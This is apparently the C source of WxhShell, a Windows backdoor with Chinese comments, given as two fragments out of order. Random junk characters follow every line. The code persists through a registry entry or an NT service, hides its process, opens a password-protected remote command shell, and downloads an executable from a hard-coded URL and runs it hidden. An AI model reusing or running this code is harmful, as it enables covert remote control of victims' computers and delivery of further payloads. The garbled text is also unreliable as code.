Y~Ifj,\
DWORD BasePriority; IAEAhqp
ULONG UniqueProcessId; nie% eC&U
ULONG InheritedFromUniqueProcessId; Wf<LR3
} PROCESS_BASIC_INFORMATION; fLVAKn
^GX)Z~
PROCNTQSIP NtQueryInformationProcess; DN/YHSYK
a>)f=uS
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w:l"\Tm
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W`&hp6Jq
L(o15
HANDLE hProcess; e*!kZAf
PROCESS_BASIC_INFORMATION pbi; V,9cl,z+
3[&C g
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .G^YqJ 4
if(NULL == hInst ) return 0; h1{3njdr
~v83pu1!2s
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5?L<N:;J_
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KU;9}!#
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q &t<Y^B
xCKRxF
if (!NtQueryInformationProcess) return 0; <1%$Vq
hEk$d.!}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZN6Z~SL_i~
if(!hProcess) return 0; };g"GNy
&OBkevg
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MW{8VH6+
T>GM%^h,7-
CloseHandle(hProcess); XUw/2"D'?
e|9A716x
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c"Sq~X
if(hProcess==NULL) return 0; p:%loDk
.~}1+\~5
HMODULE hMod; 'RRE|L,
char procName[255]; }75e:w[
unsigned long cbNeeded; =2 kG%9
E E'!|N3
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E"@wek.-
= f i$}>\
CloseHandle(hProcess); Z/K{A`
sC ;+F*0g
if(strstr(procName,"services")) return 1; // 以服务启动 ?s _5&j7
ASfaX:ke
return 0; // 注册表启动 ]~nKK@Rw
} HmwT~
D0q":WvE
// 主模块 |I|fMF2K
int StartWxhshell(LPSTR lpCmdLine) R$Q.sE
{ -(#iIgmP
SOCKET wsl; gO^gxJ'0t
BOOL val=TRUE; A9JdU&
int port=0; iIogx8[
struct sockaddr_in door; HKr
Mim-
:c[L3rJl
if(wscfg.ws_autoins) Install(); %[yJ4WL
9S -9.mvop
port=atoi(lpCmdLine); Q^(b)>?r;
2Gdd*=4z
if(port<=0) port=wscfg.ws_port; )Z
VD+X
N36_C;K-z
WSADATA data; x=jK:3BF
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ""D 4s
F/A|(AH'
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Ow077v?
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h-D}'R
door.sin_family = AF_INET; ; Hd7*`$
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1r7y]FyH$
door.sin_port = htons(port); [sb[Z:
MxGW(p
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #u
+ v_
closesocket(wsl); _,d~}_$`i
return 1; @fV9
S"TcM
} 69 o7EA
.}`Ix'.
if(listen(wsl,2) == INVALID_SOCKET) { 6(e>P)
closesocket(wsl); :\}(&
>
return 1; 2[;_d;oB @
} QVE6We
Wxhshell(wsl); nQ L@hc
WSACleanup(); S[T8T|_
Qdp)cT
return 0; B~du-Z22IZ
%!L9)(}"
} Ib0ZjX6
nJLFfXWx
// 以NT服务方式启动 8Bg;Kh6B
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \r>6`-cs]
{ k: ;WtBC6j
DWORD status = 0; jZ3fKyp#
DWORD specificError = 0xfffffff; 0P(!j_2m
1>&]R=
serviceStatus.dwServiceType = SERVICE_WIN32; O,A{3DAe0
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~3S~\0&|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -B\HI*u
serviceStatus.dwWin32ExitCode = 0; zkdetrR
serviceStatus.dwServiceSpecificExitCode = 0; Jdp3nzM^^@
serviceStatus.dwCheckPoint = 0; zNuJj L
serviceStatus.dwWaitHint = 0; w8D"CwS1Rx
A_#DJJMm
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !&Pui{F
if (hServiceStatusHandle==0) return; D#/Bx[
[ps*uva
status = GetLastError(); !7&5` q7
if (status!=NO_ERROR) 9RI-Lq`
{ 9?3&?i2-
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^w06<m
serviceStatus.dwCheckPoint = 0; :<#nTh_@\'
serviceStatus.dwWaitHint = 0; B !=F2
serviceStatus.dwWin32ExitCode = status; uc"P3,M
serviceStatus.dwServiceSpecificExitCode = specificError; XEZF{lP
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (NnH:J`
return; t>B;w14
} <kd1Nrr!p
SG4%}wn%
serviceStatus.dwCurrentState = SERVICE_RUNNING; BIWWMg
serviceStatus.dwCheckPoint = 0; P_p<`sC9
serviceStatus.dwWaitHint = 0; )D82N`c2\i
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E1U",CMU
} Ezv
Y"T@
Gm.]sE?.
// 处理NT服务事件,比如:启动、停止 Q&|\r
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9,'ncw$/C
{ qXjxNrK
switch(fdwControl) Nm>A'bLM
{ W1FI mlXS
case SERVICE_CONTROL_STOP: e01epVR;
serviceStatus.dwWin32ExitCode = 0; !o[7wKrXb
serviceStatus.dwCurrentState = SERVICE_STOPPED; d6sye^P
serviceStatus.dwCheckPoint = 0; Km6YP!i
serviceStatus.dwWaitHint = 0; .Twk {p
{ R#8L\1l
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y]u+\y~
} [bNx^VP*
return; Zdo'{ $
case SERVICE_CONTROL_PAUSE: HuKc9U'7A
serviceStatus.dwCurrentState = SERVICE_PAUSED; a,#j =
break; B[?CbU
case SERVICE_CONTROL_CONTINUE: Y,e B|
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0|\$Vp
break; Uwx
E<=z
case SERVICE_CONTROL_INTERROGATE: Y0K[Sm>
break; 1,!(0
5H
}; W#C*5@ 8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); XJ5.
} ,V:SN~P66+
^J8lBLqe
// 标准应用程序主函数 ~Ti'FhN
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bl(RyAgA
{ j;iAD:nf
;Nj7qt
// 获取操作系统版本 xZF}D/S?Ov
OsIsNt=GetOsVer(); @Sbe^x
GetModuleFileName(NULL,ExeFile,MAX_PATH); *lw_=MXSK
<)-Sj,
// 从命令行安装 ,47Y9Kz9
if(strpbrk(lpCmdLine,"iI")) Install(); PJrtMAcKq
2WVka
// 下载执行文件 (<oyN7NT
if(wscfg.ws_downexe) { ?r 2` Q
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LRG6:&
WinExec(wscfg.ws_filenam,SW_HIDE); &wE%<"aRAl
} o\pVp bB
2nIw7>.}f
if(!OsIsNt) { E5lBdM>2
// 如果时win9x,隐藏进程并且设置为注册表启动 /U)D5ot<
HideProc(); *m,k(/>
StartWxhshell(lpCmdLine); Nf"r4%M<6
} oVe|Mss6
else Zt.|oYH$
if(StartFromService()) K_ ~"}
// 以服务方式启动 ^ tg<K
StartServiceCtrlDispatcher(DispatchTable); wInh~p
else %vhnl'
// 普通方式启动 Z//+Gw<'
StartWxhshell(lpCmdLine); 1sdLDw_)p
FXN/Yq
return 0; ><$d$(
} in- HUG
"#oHYz3D
zZ323pq
YCM]VDx4u1
=========================================== #c?j\Y9nz
+sUFv)!4
#"\gLr_:m
,+{LYF
Pjjewy1}^
i,4>0o?
" lun\`f 5Q
M={V|H0
#include <stdio.h> >P@H#=
#include <string.h> \EtQ5T*u
#include <windows.h> a^zibPG
#include <winsock2.h> c%G{#}^2
#include <winsvc.h> /M4{Wc
#include <urlmon.h> T
iiW p!mX
H>B&|BO_[
#pragma comment (lib, "Ws2_32.lib") {Um)15K
#pragma comment (lib, "urlmon.lib") wlk4*4dKn
L(-b@Joh
#define MAX_USER 100 // 最大客户端连接数 _JE"{ ;
#define BUF_SOCK 200 // sock buffer b@f$nS
B
#define KEY_BUFF 255 // 输入 buffer '*w00
CtAwBQO
#define REBOOT 0 // 重启 u5: q$P
#define SHUTDOWN 1 // 关机 /qGf 1MHD
\2"I;
#define DEF_PORT 5000 // 监听端口 JYd 'Jp8bP
6ne7]RY
#define REG_LEN 16 // 注册表键长度 X_|J@5b7
#define SVC_LEN 80 // NT服务名长度 +M$Q
=6/
;n=.>s*XL'
// 从dll定义API HxK80mJ
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `a/%W4
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t@N=kV
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @u]rWVy;\[
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ime\f*Fg
z>Hgkp8D"
// wxhshell配置信息 $gy*D7
struct WSCFG { X4E%2-m@'
int ws_port; // 监听端口 a8iQ4
char ws_passstr[REG_LEN]; // 口令 =&2Lb
int ws_autoins; // 安装标记, 1=yes 0=no DSk/q-'u
char ws_regname[REG_LEN]; // 注册表键名 N<|Nwq:NN
char ws_svcname[REG_LEN]; // 服务名 lWc:$qnR-K
char ws_svcdisp[SVC_LEN]; // 服务显示名 )V6Hl@v
char ws_svcdesc[SVC_LEN]; // 服务描述信息 L3 --r
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l6kWQpV
int ws_downexe; // 下载执行标记, 1=yes 0=no aV?@s4
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +hT:2TXn
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )oPLl|=h
ruzspS
}; 3?7\T#=
L=8<B=QT$
// default Wxhshell configuration U`d5vEhT
struct WSCFG wscfg={DEF_PORT, DV-;4AxxRq
"xuhuanlingzhe", 0#&5.Gr)
1, [uq$5u
"Wxhshell", ?$^2Umt0
"Wxhshell", xScLVt<\e
"WxhShell Service", yXF?H"h(
"Wrsky Windows CmdShell Service", zN@}
#Hk
"Please Input Your Password: ", 7Kal"Ew
1, 0F|AA"mMT
"http://www.wrsky.com/wxhshell.exe", Uo>]sNP~
"Wxhshell.exe" 2hkRd>)&5
}; 5>j)kx=J9
i9A+gtd
// 消息定义模块 [[Fx[
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pDcjwlA%
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7cO n9fIE
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U($dx.`v#
char *msg_ws_ext="\n\rExit."; CS-uNG6
char *msg_ws_end="\n\rQuit."; PGBQn#c<